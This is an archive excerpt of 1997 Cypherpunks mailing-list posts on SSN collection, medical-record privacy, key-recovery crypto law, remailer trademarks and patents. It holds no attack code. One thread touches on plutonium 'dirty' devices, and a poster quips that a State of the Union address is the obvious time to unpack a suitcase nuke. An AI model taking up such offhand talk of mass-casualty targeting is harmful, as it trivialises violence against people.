j8rhfmW/7cHJ5rqyHZeXsx5UoTYbjI3FOI9rmdwf2lRUg3wm2bQrV2lsbGlhbSBB
LiBSb2RnZXIgPHJvZGdlckB3b3JsZG5ldC5hdHQubmV0PokASwQQEQIACwUCM85U
AAQLAwECAAoJENZgKT/Hvj9iArsAni5+AbNd1frytNMXUi8WCiyEuPzdAKDLYIUR
XYf7eNfeiBmF4oQylc8txokBFQMFEDPOVCtHAco0+Z/i2QEB6lQH/AmzqGzIrYau
cvNIRP+AUvBQouVqOdjQyqLuyaGFLGNXB+qaOdBO70HT1T/Zq0fcJtGe/fW0CQcL
+MBpWWY7ITkgd8HgkaFdEaZ4mpE/TXM6Bw/Oeo2sHtKeLaXm6i1uSU9ar9jDPsdX
Ea8PuldQmbouRBUamzJIaurnpv+t8Slc2PGWICumfyXqk1kaCgliln9LwWHP94qa
XtFctXwVEDfy9JRo7Dara6BJflDzKvhYT09h8McQqY0xakCBJbq90Im6nbzSLnin
UBevClU05ANXllfNf73a+3DzoJiGp/fFZzYOMA1bfhOiw37OmnyF9ZhoeTcmAtON
bsglZHhH2fK5Ag0EM85UABAIAPZCV7cIfwgXcqK61qlC8wXo+VMROU+28W65Szgg
2gGnVqMU6Y9AVfPQB8bLQ6mUrfdMZIZJ+AyDvWXpF9Sh01D49Vlf3HZSTz09jdvO
meFXklnN/biudE/F/Ha8g8VHMGHOfMlm/xX5u/2RXscBqtNbno2gpXI61Brwv0YA
WCvl9Ij9WE5J280gtJ3kkQc2azNsOA1FHQ98iLMcfFstjvbzySPAQ/ClWxiNjrtV
jLhdONM0/XwXV0OjHRhs3jMhLLUq/zzhsSlAGBGNfISnCnLWhsQDGcgHKXrKlQzZ
lp+r0ApQmwJG0wg9ZqRdQZ+cfL2JSyIZJrqrol7DVekyCzsAAgIH/1NVspbusyzJ
9c0FuzHg1oQ2yg0cCdxbuaJlY0vZyGj/V5dJ1csL38OGqTjxmOALZ20CFGfJbDTu
tVYdRX9MEeI95yy3kSVRdxySBapMGXoGAZudAt1xcnD+lPOrZ3ZYJjfo5Zw60Cp2
JT3ThaBl2YOGgBsJBbmGvM3FUsvnsRrDnntABMF5hJs8ahcv6oVAM621T3B00+tI
fQk3IkEMuQDYFV/PTaP8wkILqEPdOhEfxgzeK8o4ZIBB2hX3/DyZYI7zTMvYd1nZ
XybzU6xONSlljFFx7u5DKubwVikPCY8bdbHvuuna9bTr08dS0jDVWSTvqDA9ebhI
iCsFlc8m2rGJAD8DBRgzzlQB1mApP8e+P2IRAoy1AJ45zNvfY9dKOVfiojFL9RnL
YzXgQACfYlO4Dd8zeICU1fd4iIaactk1S5g=
=vuty
- -----END PGP PUBLIC KEY BLOCK-----

And here's my sig.

Munitions away!
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNBcQvtZgKT/Hvj9iEQITNACg54p1RWEecsNVoKTWJ7bxU5Gac9YAnjNo
wz6+82b2gSQ4t3CHLhS7uDSf
=2Ah2
-----END PGP SIGNATURE-----

Will Rodger                                           Voice: +1 202-408-7027 
Washington Bureau Chief                        Fax: +1 202-789-2036
Inter@ctive Week                    http://www.interactiveweek.com
A Ziff-Davis Publication            
PGP 5.0: 584D FD11 3035 0EC2 B35C AB16 D660 293F C7BE 3F62
       PGP 2.6.2: D83D 0095 299C 2505 25FA 93FE DDF6 9B5F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 11 Sep 1997 10:19:39 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: "Secure in one's papers" is becoming meaningless
In-Reply-To: <199709101603.KAA23312@infowest.com>
Message-ID: <3.0.3.32.19970910182955.006c2a98@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:27 AM 9/10/97 -0700, Tim May wrote:
>At 8:37 AM -0700 9/10/97, Attila T. Hun wrote:
>>    NYT lead article today indicates Clinton bowing to LEOs to:
>>        ...gain broad access to patients' medical records, with hardly
>>        any restrictions on use or redisclosure of the data.
...
>Just routine developments in the latter stages of the American Imperial New
>World Order. Government can tie in to the networks of medical data as an
>aid to tracking citizen-units, as a means of ferreting out pseudonyms, and
>as a means of gathering dossier data. J. Edgar Hoover would have loved it.

Wonderful.  Medical records are great for this, because the need to 
coordinate with Medicare has pushed any insurace companies that didn't
use SSNs as an almost-unique key to use them.  (And realistically,
aside from a few SSA screwups, most non-uniqueness is a result of
the otherwise-undocumented pirating or making up numbers,
so who cares if the politically-well-connected insurance companies
don't cover them.)  And besides, it's necessary for the
Legitimate Needs of Law Enforcement, because sometimes they've
got to use dental records to identify bodies, however obtained.

....
>This is a very important issue. The "secure in one's papers and
>possessions" language of the 4th is practically meaningless in today's
>world: most of one's important papers and records are not stored locally in
>one's home.

....
>Expect within 10 years to see hotel and other such services required to
>have proof of True Names, and with such records linked to government
>computers on a nightly (or even realtime) basis.

European and some Ex-Colonial-World countries have done this for years;
foreigners get their passports borrowed to register with the police.
I suspect a number of US states have requirements like this as well,
based on the near-universality of being asked for a name, address, and
license plate number when registering.

>The main protection for this is _cash_. But an increasing number of places
>will not take cash. (Let's not get off on a tangent about what "legal
>tender" is; if Alice says she will only take credit cards or checks, then
>Bob is bound by this.)

Car rental places are especially big on this.  I was at the rental counter
waiting in line one day, and a 25-something and his grandfather/uncle/whatever
were trying to rent a car which the younger guy was going to drive across
country.
They refused him, because _he_ didn't have a credit card, even though his
elder relative did.  ("If you get caught driving this car, the police will
impound it and throw you in jail, and it'll be a lot of paperwork for us")
And another guy was trying to pay cash when returning a car that he and his
girlfriend had rented on her credit card the previous day, and getting
refused.
Of course, they also want to see your license.  

And we've ranted about airports here before.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: EFF <eff@dev.null>
Date: Thu, 11 Sep 1997 08:58:16 +0800
To: cypherpunks@toad.com
Subject: Arachelian wins Nobel Peace Prize
In-Reply-To: <Pine.SUN.3.96.970910184903.10895A-100000@beast.brainlink.com>
Message-ID: <34173BF2.65BE@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



[EFF-Bienfait, Saskatchewan]
September 11, 1997

  RAY ARACHELIAN, a member of the soon-to-be-outlawed CypherPunks 
crypto-military organization was presented with a forged Nobel Peace 
Prize early this morning in recognition of providing proof for his long 
held Kaos=Keraunos=Kybernetos theorem.

  In response to a question by Russian double-secret agent Igor Chudov, 
who asked, "How do you generate 'chaos'?," Arachelian responded:
"If you're the FBI, you simply say you're gonna push laws to ban all 
non-escrowed crypto, and that causes imemdiate chaos on the cypherpunks 
lists. You then get a bunch of SHA1 digests of the messages and you've 
got plenty of random numbers. :-)"

  EFF decided to award Arachelian a forged Nobel Peace Prize, not for 
the originality of his idea, but for the fact that he had the audacity 
to steal the idea from fellow CypherPunk, Tim C. May, who would have 
suggested it in the 1989 CypherPunks archives, if the legendary mailing 
list had been operational at that time.
  The award was presented by a rather disheveled looking fellow who 
couldn't remember his name, but who told Arachelian, "I'm a very 
important man." before pausing to pick something out of his teeth, and 
continuing, with two raised fingers, "Peace."

  Asked for comment, Arachelian stated "I thought he'd never leave. Did 
you get a load of his _breath_? Whooeee!"


--------------------------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 11 Sep 1997 10:25:08 +0800
To: MSproul <cypherpunks@toad.com
Subject: Re: Credit Card might-as-well-equal SSN
In-Reply-To: <v03110733b03b5992b87f@[139.167.130.247]>
Message-ID: <3.0.3.32.19970910184123.00687218@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>Today I went to the local U-Haul to rent a small trailer to move a lawn
>tractor. In the course of filling out the rental agreement I was asked for
>my drivers license then asked for my social security number which I refused
>to give. (Texas does not have SSN on the driver's license) The agent then
>asked for a credit card, which I was planning to use to charge the rental.
>During the subsequent discussion the agent told me that since the Oklahoma
>bombing if they don't get a SSN they are required to to get a credit card
>number as a second form of identification. They can then get the SSN from
>the credit card issuer.
>Questions: Is this for real?  How wide spread is this?  What does U-Haul do
>with your SSN? How difficult is it for someone (company) to get your SSN
>when you use your credit card?

Did you ask if it was a U-Haul requirement or a Texas one?

If you've ever given your SSN when applying for a credit card,
you can be pretty sure they've got your SSN in the credit report.
Perhaps if you've got a secured debit card of some sort
you've been able to keep it separate from your other credit history,
if any, but most people have slipped at least once, or had an account
at a bank that collected the SSN for tax reasons and then included it
in credit reports.

What U-Haul actually does with it is probably just keeping the
credit card number on file, since actually doing a credit report
would cost them more money than they want to spend on you
unless you haven't returned the trailer or there's a big kaboom.
They may also sell the transaction record data they do have.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 11 Sep 1997 07:09:55 +0800
To: "Igor Chudov @ home" <ichudov@Algebra.COM>
Subject: Re: Gao's Chaos Cryptosystem Algorithm
In-Reply-To: <199709090254.VAA09220@manifold.algebra.com>
Message-ID: <Pine.SUN.3.96.970910184903.10895A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 8 Sep 1997, Igor Chudov @ home wrote:

> How do you generate "chaos"?

If you're the FBI, you simply say you're gonna push laws to ban all non
escrowed crypto, and that causes imediate chaos on the cypherpunks lists.
You then get a bunch of SHA1 digests of the messages and you've got plenty
of random numbers. :-)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 11 Sep 1997 11:47:29 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Nuclear Hedge Funds
In-Reply-To: <7k3Tce1w165w@bwalk.dm.com>
Message-ID: <199709110331.WAA02912@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <7k3Tce1w165w@bwalk.dm.com>, on 09/10/97 
   at 04:54 PM, dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:

>"William H. Geiger III" <whgiii@amaranth.com> writes:

>> 
>> -----BEGIN PGP SIGNED MESSAGE-----
>> 
>> In <19970909130000.60003@sequent.com>, on 09/09/97 
>>    at 01:00 PM, Unicorn <hvdl@sequent.com> said:
>> 
>> >Destruction by a  nuclear blast is most likely not  even the issue here.
>> >Using a  relatively small amount  of plutonium  (ie. not even  enough to
>> >produce a  critical mass) and enough  explosives to blast this  into the
>> >atmosphere  you  can  kill  a  (very) large  number  of  people  over  a
>> >relatively  small amount  of  time due  to  plutonium toxication.  These
>> >devices are the real "dirty  gadgets", not really expensive and therefor
>> >perfectly suitable for terrorist organisations.
>> 
>> >But what a dreadfull way to die...
>> 
>> 
>> The US military during WWII had plans of doing just that in Europe to
>> poison the crops and aid in the defeat of Germany. 
>> 
>> Luck for Europe this was never followed through.

>Actually, the Germans were aware of the plans and indicated that they'd
>kill the about 500K U.S. and British POWs if this happened. (They treated
>the latter much better than they treated Polish and Russian POWs, who
>were often summarily gassed.)
>For the same reason the Germans and the Allies didn't use poison gas in
>Europe during WW2, although both sides used it liberally in WW1, and the
>Japanese used it a lot against the Chinese. Game theory and stuff. :-)

Well part of the problem with using chemical agents is they are not very
efficient. This is a lesson that was learned in WWI and most likely was
the largest factor in them not being used durring WWII (durring WWI one
was just as likely to be hit by one's own gas as the enemy was).

It is even questionable as a terror weapon against civilian targets due to
the quantities that would be needed to attack a large city like London.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNBdYgI9Co1n+aLhhAQFXmAP9FIzNc52j7GNvypM8xCJh46+oB49en0oP
yxc5eP3TKhF2txGjhq0FXmLzFvb78ObbZOnPRSI+sIy97dTcTyYHGni27ONy/aZc
2/ijx06c92bb/KOLJkl7doLD3kTi/quB7djQvceR6BJjr7bvY7onPmYOJ02FRqRC
biHUV7bQ9I4=
=3HkY
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Thu, 11 Sep 1997 10:40:20 +0800
To: cypherpunks@toad.com
Subject: GAO's Chaos Cryptosystem Algorithms
Message-ID: <199709110215.TAA27946@f51.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



Do you want Gao's chaos cryptosytem's thesis 
written in English ?
If you want it,Please send check or money order
of 50 dollar to me.


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 11 Sep 1997 08:27:49 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Removing Tyranny from Democracy (Part II), (fwd)
Message-ID: <199709110025.TAA13190@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: amp@pobox.com
> Date: Wed, 10 Sep 1997 10:32:28 -0500
> Subject: Re: Removing Tyranny from Democracy (Part II), (fwd)

> You miss the point entirely. This is =not= supposed to be a democracy. That 
> is why we have a constitution (theoretically a set of restrictions upon the 
> powers of government), and bill of rights. 

This is most certainly a democracy, it's called a representative democracy.
That we have a Constitution and a Bill of Rights is a measure of the
founding fathers wisdom but by no means are either required to have a
democracy, nor do either by definition eliminate a governmental form from
being a democracy.

> > > 2. In a democracy, you can't have property rights because 51% can 
> > > capriciously decide to confiscate anyone's property.

That depends on how the founders define the democracy. The definition of a
democracy does NOT define the system put in place merely who has a say in
how it runs.

You're painting with way too broad a brush. Like most things simply being a
cat does not equate all cats to be the same. This also applies to
democracies, there is plenty of room to manuever when designing it.

> > Since there are no true democracies extant your point is moot.
>  
> There have been, that is why the point is not moot. The point is, we are 
> becoming one, with the advent of instant polling and politicians and 
> citizens who obviously can't read as simple a document as the constitution.

Where? When? No government ever implimented by man has ever been a true
anything. Not democracy, communism, etc. They are all hybrids of one sort or
another.

For there to be a true democracy as you seem to define it we would require
every man, woman, and child to carry a vote and be required to vote on each
and every issue. No government in history has had this much prosperity or
homogoneity in the desires of the people.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Thu, 11 Sep 1997 08:27:44 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Renaming TEA remailer (fwd)
Message-ID: <199709110028.TAA13240@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 10 Sep 1997 17:08:51 -0700
> From: Lance Cottrell <loki@infonex.com>
> Subject: Re: Renaming TEA remailer

> I really don't understand this reaction. We asked Antonomasia nicely to
> rename his remailer. He very kindly agreed. The Trademark registration has
> been filed, but not yet approved. It is a long process.

Seems it is in his best interest to not change it. Not only does he get
notoriety but he weakens your trademark claim by demonstrating that you
don't use it exclusively and that it has a history preceeding your claims.

Also, since he has been so kind to work with you have you recompensed him
for his loss at your gain?


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Thu, 11 Sep 1997 07:17:18 +0800
To: ant@notatla.demon.co.uk
Subject: Re: Renaming TEA remailer
Message-ID: <199709101829.TAA03071@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



Alex de Joode <adejoode@replay.com>:

>  Do they own the trademark in the UK ? If not you can still use
>  Anonymizer for whatever service you are providing in the UK.


Don't know, don't care.  There was a Nice Thing To Do.

(Don't forget Lance Cottrell is connected with Infonex, and without
 him we wouldn't have mixmaster remailers to run.)


--
##############################################################
# Antonomasia   ant@notatla.demon.co.uk                      #
# See http://www.notatla.demon.co.uk/                        #
##############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 11 Sep 1997 10:50:00 +0800
To: Declan McCullagh <declan@pathfinder.com>
Subject: RE: Nuclear Hedge Funds
In-Reply-To: <v03102803b03bbc3d22d3@[207.167.93.63]>
Message-ID: <3.0.2.32.19970910193916.007048ac@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:00 AM 9/10/97 -0400, Declan McCullagh wrote:
>That's hardly comforting (not sure if it was meant to be). I work four or
>so blocks from the White House and spend a good bit of time in the Capitol
>and related buildings. My office is in the densepack lobbyist warren
>territory on K Street.

The obvious time for a unpacking a suitcase would be during a State of the
Union address. I trust you watch those from home?


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 11 Sep 1997 11:23:52 +0800
To: Hiawatha Bray <tcmay@got.net>
Subject: RE: House National Security committee guts SAFE, worse than nobill
In-Reply-To: <01BCBE08.43D9E320.wathab@tiac.net>
Message-ID: <v03007829b03d11a38d27@[207.94.249.39]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:40 PM -0700 9/10/97, Hiawatha Bray wrote:
>I hate to tip folks off as to my column for tomorrow, but that's exactly
>what I'm doing in it.  I have written that if the Feds try to impose
>key-recovery crypto on me, I'll start using some encryption program that
>doesn't comply with the law, and I'll send copies of the messages to the
>Feds, so they can come and arrest me.  If I really thought they would, I
>wouldn't have written it!  But I'll stand by it.
>
>Anyway, I don't presently encrypt my mail.  No reason to--I ain't no
>pedophile...;-)
>So if I want to send crypto I must find some partner in crime.  Any
>volunteers?

You can send me a message.  My key is on the servers.

Type bits/keyID    Date       User ID
pub   768/C2CD3FB5 1994/12/28 Bill Frantz <frantz@netcom.com>
          Key fingerprint =  4F 9B 8C F1 3A 92 31 B6  8E BB AC FA 57 0B FE 59

Regards - Bill


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vipul Ved Prakash <vipul@pobox.com>
Date: Fri, 12 Sep 1997 08:37:45 +0800
To: cypherpunks@toad.com (Cypherpunks)
Subject: [fwd][news] Netscape meets gov't security standard
Message-ID: <199709102014.UAA01088@fountainhead.net>
MIME-Version: 1.0
Content-Type: text



*** Netscape meets gov't security standard

Netscape Communications Corporation announced Monday the National
Institute of Standards and Technology and the Canadian Security
Establishment validated the security code in Netscape Communicator
client software and Netscape SuiteSpot server software as meeting
Federal Information Processing Standards Publications 140-1, "Security
Requirements For Cryptographic Modules." Netscape is the only Internet
software vendor to comply with the FIPS 140-1 security standard, the
company said. (PR Newswire) See full story at
http://www.infobeat.com/stories/cgi/story.cgi?id=4840046-429


-- 

Vipul Ved Prakash                 | - Electronic Security & Crypto 
vipul@pobox.com 	          | - Web Objects 
91 11 2233328                     | - PERL Development 
198 Madhuban IP Extension         | - Linux & Open Systems 
Delhi, INDIA 110 092              | - Networked Virtual Spaces





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave K-P <k.p@snet.net>
Date: Thu, 11 Sep 1997 08:53:42 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Freeh says FBI doing great, supports Weaver killer
In-Reply-To: <Pine.GSO.3.95.970910162659.17580Z-100000@well.com>
Message-ID: <3.0.3.32.19970910202207.00691a90@mail.snet.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 04:28 PM 9/10/97 -0700, Declan McCullagh wrote:

>	The FBI will continue to stand behind Lon Horiuchi, an FBI
>sharpshooter charged last month by local authorities with involuntary
>manslaughter for the shooting death of Vicky Weaver, wife of white
>supremacist Randy Weaver, during a deadly standoff in Idaho, Freeh said.
>	"We fully support him," Freeh said. "It was a horrible tragedy. It
>was a mistake on his part, but we believe he was acting as he was trained
>to do. He was within the scope of his authority. ... He reasonably
>believed at the time that what he was doing was proper."

	"Just following orders"... where have I heared that before?
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBNBc5jpFhuMM5a8j1AQHsDwf9EOLhb709d7DqaSZrvtn0wcE+ykdtXpZb
Ef354iJH96CrddW8oy/ENJ/KFe9jCBk62qrFaGyF99GUjkBDjMjvdshQAvCFOqP2
zEBGepjGc+sd5YgyB0wK5ZHWbVHN5V9gybaX0O0Ma2r0BFIAXynJ8k7KHF//EW2v
PI4ogRGA6zJKkpzRRjAsBYPj5y2FhJnFrgLdudKZba2EjzQY0BQgVF0dlpizCLIp
KvjsVreSYD8qTtT7wBHXOOq6gKWkrWRgQVZzlVFk55yoaTQeuszPNk7hx5loqEBW
HJpVpxKMOWMiZXGx8nojc21lPxmZcJtHKSg2fTyCt56yGAYRwuEiwg==
=CLgE
-----END PGP SIGNATURE-----

9CC3 8D8B 9CA0 71EA
< k.p at snet.net >
AC7E A6F3 3A84 7BCA





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 11 Sep 1997 03:10:46 +0800
To: cypherpunks@toad.com
Subject: Re: House National Security committee guts SAFE, worse than no bill
Message-ID: <199709101853.UAA24002@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Syniker@aol.com wrote:
> 
> >>Perhaps it's time to dare the Feds to prosecute you. Any volunteers?<<
> 
> Me.
> Whatever anyone else does, I'm going to first...
> ignore any government mandates or law on crypto [use it anyway]
> then, challenge them... and finally, defy them. Period.
> That's where I'm at.
> And, I'm going to tell them that's what I'm going to do.
> On any website I can.
> 
> Larry.

Bill,
  You could take a much bolder stand by using your real name.

Frank






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 11 Sep 1997 03:14:03 +0800
To: cypherpunks@toad.com
Subject: Re: House National Security committee guts SAFE, worse than no
Message-ID: <199709101854.UAA24224@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Jonah Seiger wrote:

> The Administration WANTS legislation to impose key recovery and wants
> continued export restrictions.  It has passed the Senate Commerce
> Committee, it's in the current export policy, and the FBI is likely to get
> it approved by the Intelligence committee tomorrow.
> 
> If they succeed and mandatory key recovery becomes law, there will
> certainly be court challenges (and CDT would join that fight), but it won't
> be as clear cut as the CDA case was, and it's doubtful we would have the
> strength (and the resources) of as broad a coalition of plaintiffs.  We may
> be right, but that doesn't guarantee victory.

  *IF* they succeed? (You been on extended vacation?)

  Any bets that the double-secret guys nab a suitcase-nuke carrying 
dark-skinned person a few days before they need to win a crucial vote
in the war against the citizens?

Double-SecretMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 11 Sep 1997 03:10:48 +0800
To: cypherpunks@toad.com
Subject: Re: Infoworld and Denning's study (fwd)
Message-ID: <199709101854.UAA24228@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> From: pgut001@cs.auckland.ac.nz (Peter Gutmann)

> (As a side-note, I find it amusing to read that the government policy relies
> on people handing over their encryption keys to them.  Quite apart from the
> question of why anyone would trust the US government with their keys, there's
> also the small problem that no criminal will ever do this - that's why they're
> criminals after all.  The only ones who'll ever get caught by this cunning
> plan are you and I).

Maybe the government will pass a law requiring criminals to all turn
themselves in. Then we won't need LEA's. (And we will no longer have
a government.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 11 Sep 1997 03:16:28 +0800
To: cypherpunks@toad.com
Subject: Re: Is Your Web Site A Secret?
Message-ID: <199709101857.UAA24448@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



owl@owlsnest.com wrote:
> 
>      Is your web site the best kept secret on the Internet?
> 
>      We'll promote it to 50 search engines and indexes for $85
>      and complete the job in 2 business days.  Satisfaction is
>      guaranteed!

Thought the Feds found my AP Bot. Almost had a heart attack.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Thu, 11 Sep 1997 06:07:10 +0800
To: roach_s@alph.swosu.edu
Subject: Re: GAK patents, anyone?Re: GAK patents, anyone?
Message-ID: <199709102114.WAA05303@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



Date Arrived: 10Sep_19:13:47

From: roach_s@alph.swosu.edu
-----------

...
> Back up just a minute.
> Aren't inventions protected if the patent is pending?  If not, why do such
> well known companies who undoubtly have savvy legal council produce products
> stamped "patent pending"?

I've always regarded it as "We applied for a patent and it hasn't actually
been refused yet, so keep off."

[The following is based on various magazine articles, net discussions etc.]

Until the last year or so (when it harmonised with GATT) US law produced
"submarine patents".  These were patents applied for, subject to a period
of waiting of course, and then (if granted) were valid _from the date of
the application_ i.e. back-dated.  This meant you could quite innocently
find yourself being clobbered by a patent that had only just sprung into
existence.  There were other problems including the US granting patents
to the 'inventor' - rather than the 'first to file'.  'First to file'
is actually a good indication of who the inventor is.  The other scheme
just got inventor-identity disputed by the lawyers.

For a vision of patents as they should be, I know nothing to beat
Phil Karn's web pages.

http://people.qualcomm.com/karn/patents.html


--
##############################################################
# Antonomasia   ant@notatla.demon.co.uk                      #
# See http://www.notatla.demon.co.uk/                        #
##############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Thu, 11 Sep 1997 13:33:45 +0800
To: cypherpunks@cyberpass.net
Subject: Snuffle Destroys United States: Film at 11
Message-ID: <19970911052038.32149.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



John Gilmore <gnu@toad.com> writes:

 > Today the Government filed a 22-page brief arguing to the
 > 9th Circuit Court that it would be so injurious to the
 > national security for Prof. Bernstein to be able to publish
 > his Snuffle 5.0 software on the Internet, that a complete
 > stay of Judge Patel's injunction is needed.

 > The brief is accompanied by two seven-page personal
 > declarations, one from William P. Crowell, Deputy Director
 > of NSA, and one from William A. Reinsch, Under Secretary for
 > Export Administration.

Correct me if I'm wrong, but I thought "Snuffle" was some
simple-minded cipher designed to test ITAR.  I didn't think it
was something anyone would choose to incorporate into a serious
product.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lindsay Haisley <fmouse@fmp.com>
Date: Thu, 11 Sep 1997 11:58:00 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Credit Card might-as-well-equal SSN (fwd)
In-Reply-To: <199709110235.VAA13771@einstein.ssz.com>
Message-ID: <3.0.3.32.19970910223940.008e0100@linux.fmp.com>
MIME-Version: 1.0
Content-Type: text/plain



I was under the impression that using a SSN for identification purposes was
illegal.  A while back I went to a company that rented sound equipment to
pick up some equipment for a job, and was asked for my SSN as part of my
credit application.  I told them that I believed that it was illegal to
require an SSN and they said, in effect, if you want to rent from us, you
have to give us your SSN.  

When I got home, I called the Social Security Administration office in
Austin and after being bounced around among lots of people who knew
absolutely nothing about the subject, I finally reached someone who
informed me that this practice is perfectly legal as long as you're not
>required< to give your SSN.  Since I didn't, in theory, have to do
business with these folks, they therefore apparently had every right to
require my SSN as a condition of doing business with them.  In point of
fact, when the incident occurred, it was getting late, I had to have the
equipment for my job, and so I gave them what they wanted.

At 09:35 PM 9/10/97 -0500, Jim Choate did speak as follows....
>>Questions: Is this for real?  How wide spread is this?  What does U-Haul
do
>>with your SSN? How difficult is it for someone (company) to get your SSN
>>when you use your credit card?
>
